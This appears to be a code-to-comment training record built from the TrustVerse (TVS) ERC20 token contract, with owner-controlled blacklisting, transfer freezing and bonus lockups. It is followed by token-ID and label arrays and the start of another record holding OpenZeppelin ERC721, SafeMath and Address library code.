* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => uint256) bonusTokens;
mapping(address => uint256) bonusReleaseTime;
mapping(address => bool) internal blacklist;
bool public isTokenReleased = false;
address addressSaleContract;
event BlacklistUpdated(address badUserAddress, bool registerStatus);
event TokenReleased(address tokenOwnerAddress, bool tokenStatus);
uint256 totalSupply_;
modifier onlyBonusSetter() {
require(msg.sender == owner || msg.sender == addressSaleContract);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(isTokenReleased);
require(!blacklist[_to]);
require(!blacklist[msg.sender]);
if (bonusReleaseTime[msg.sender] > block.timestamp) {
require(_value <= balances[msg.sender].sub(bonusTokens[msg.sender]));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
require(msg.sender == owner || !blacklist[_owner]);
require(!blacklist[msg.sender]);
return balances[_owner];
}
/**
* @dev Set the specified address to blacklist.
* @param _badUserAddress The address of bad user.
*/
function registerToBlacklist(address _badUserAddress) onlyOwner public {
if (blacklist[_badUserAddress] != true) {
blacklist[_badUserAddress] = true;
}
emit BlacklistUpdated(_badUserAddress, blacklist[_badUserAddress]);
}
/**
* @dev Remove the specified address from blacklist.
* @param _badUserAddress The address of bad user.
*/
function unregisterFromBlacklist(address _badUserAddress) onlyOwner public {
if (blacklist[_badUserAddress] == true) {
blacklist[_badUserAddress] = false;
}
emit BlacklistUpdated(_badUserAddress, blacklist[_badUserAddress]);
}
/**
* @dev Check the address registered in blacklist.
* @param _address The address to check.
* @return a bool representing registration of the passed address.
*/
function checkBlacklist (address _address) onlyOwner public view returns (bool) {
return blacklist[_address];
}
/**
* @dev Release the token (enable all token functions).
*/
function releaseToken() onlyOwner public {
if (isTokenReleased == false) {
isTokenReleased = true;
}
emit TokenReleased(msg.sender, isTokenReleased);
}
/**
* @dev Withhold the token (disable all token functions).
*/
function withholdToken() onlyOwner public {
if (isTokenReleased == true) {
isTokenReleased = false;
}
emit TokenReleased(msg.sender, isTokenReleased);
}
/**
* @dev Set bonus token amount and bonus token release time for the specified address.
* @param _tokenHolder The address of bonus token holder
* _bonusTokens The bonus token amount
* _holdingPeriodInDays Bonus token holding period (in days)
*/
function setBonusTokenInDays(address _tokenHolder, uint256 _bonusTokens, uint256 _holdingPeriodInDays) onlyBonusSetter public {
bonusTokens[_tokenHolder] = _bonusTokens;
bonusReleaseTime[_tokenHolder] = SafeMath.add(block.timestamp, _holdingPeriodInDays * 1 days);
}
/**
* @dev Set bonus token amount and bonus token release time for the specified address.
* @param _tokenHolder The address of bonus token holder
* _bonusTokens The bonus token amount
* _bonusReleaseTime Bonus token release time
*/
function setBonusToken(address _tokenHolder, uint256 _bonusTokens, uint256 _bonusReleaseTime) onlyBonusSetter public {
bonusTokens[_tokenHolder] = _bonusTokens;
bonusReleaseTime[_tokenHolder] = _bonusReleaseTime;
}
/**
* @dev Set bonus token amount and bonus token release time for the specified address.
* @param _tokenHolders The address of bonus token holder [ ]
* _bonusTokens The bonus token amount [ ]
* _bonusReleaseTime Bonus token release time
*/
function setMultiBonusTokens(address[] _tokenHolders, uint256[] _bonusTokens, uint256 _bonusReleaseTime) onlyBonusSetter public {
for (uint i = 0; i < _tokenHolders.length; i++) {
bonusTokens[_tokenHolders[i]] = _bonusTokens[i];
bonusReleaseTime[_tokenHolders[i]] = _bonusReleaseTime;
}
}
/**
* @dev Set the address of the crowd sale contract which can call setBonusToken method.
* @param _addressSaleContract The address of the crowd sale contract.
*/
function setBonusSetter(address _addressSaleContract) onlyOwner public {
addressSaleContract = _addressSaleContract;
}
function getBonusSetter() public view returns (address) {
require(msg.sender == addressSaleContract || msg.sender == owner);
return addressSaleContract;
}
/**
* @dev Display token holder's bonus token amount.
* @param _bonusHolderAddress The address of bonus token holder.
*/
function checkBonusTokenAmount (address _bonusHolderAddress) public view returns (uint256) {
return bonusTokens[_bonusHolderAddress];
}
/**
* @dev Display token holder's remaining bonus token holding period.
* @param _bonusHolderAddress The address of bonus token holder.
*/
function checkBonusTokenHoldingPeriodRemained (address _bonusHolderAddress) public view returns (uint256) {
uint256 returnValue = 0;
if (bonusReleaseTime[_bonusHolderAddress] > now) {
returnValue = bonusReleaseTime[_bonusHolderAddress].sub(now);
}
return returnValue;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyOwner public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) onlyOwner internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!blacklist[_from]);
require(!blacklist[_to]);
require(!blacklist[msg.sender]);
require(isTokenReleased);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(isTokenReleased);
require(!blacklist[_spender]);
require(!blacklist[msg.sender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
require(!blacklist[_owner]);
require(!blacklist[_spender]);
require(!blacklist[msg.sender]);
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!blacklist[_spender]);
require(!blacklist[msg.sender]);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!blacklist[_spender]);
require(!blacklist[msg.sender]);
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title TrustVerse Token
* @dev Burnable ERC20 standard Token
*/
contract TrustVerseToken is BurnableToken, StandardToken {
string public constant name = "TrustVerse"; // solium-disable-line uppercase
string public constant symbol = "TVS"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | * @dev Burns a specific amount of tokens. @param _value The amount of token to be burned./ | function burn(uint256 _value) onlyOwner public {
_burn(msg.sender, _value);
}
| 1,507,660 | [
1,
38,
321,
87,
279,
2923,
3844,
434,
2430,
18,
225,
389,
1132,
1021,
3844,
434,
1147,
358,
506,
18305,
329,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
18305,
12,
11890,
5034,
389,
1132,
13,
1338,
5541,
1071,
288,
203,
565,
389,
70,
321,
12,
3576,
18,
15330,
16,
389,
1132,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
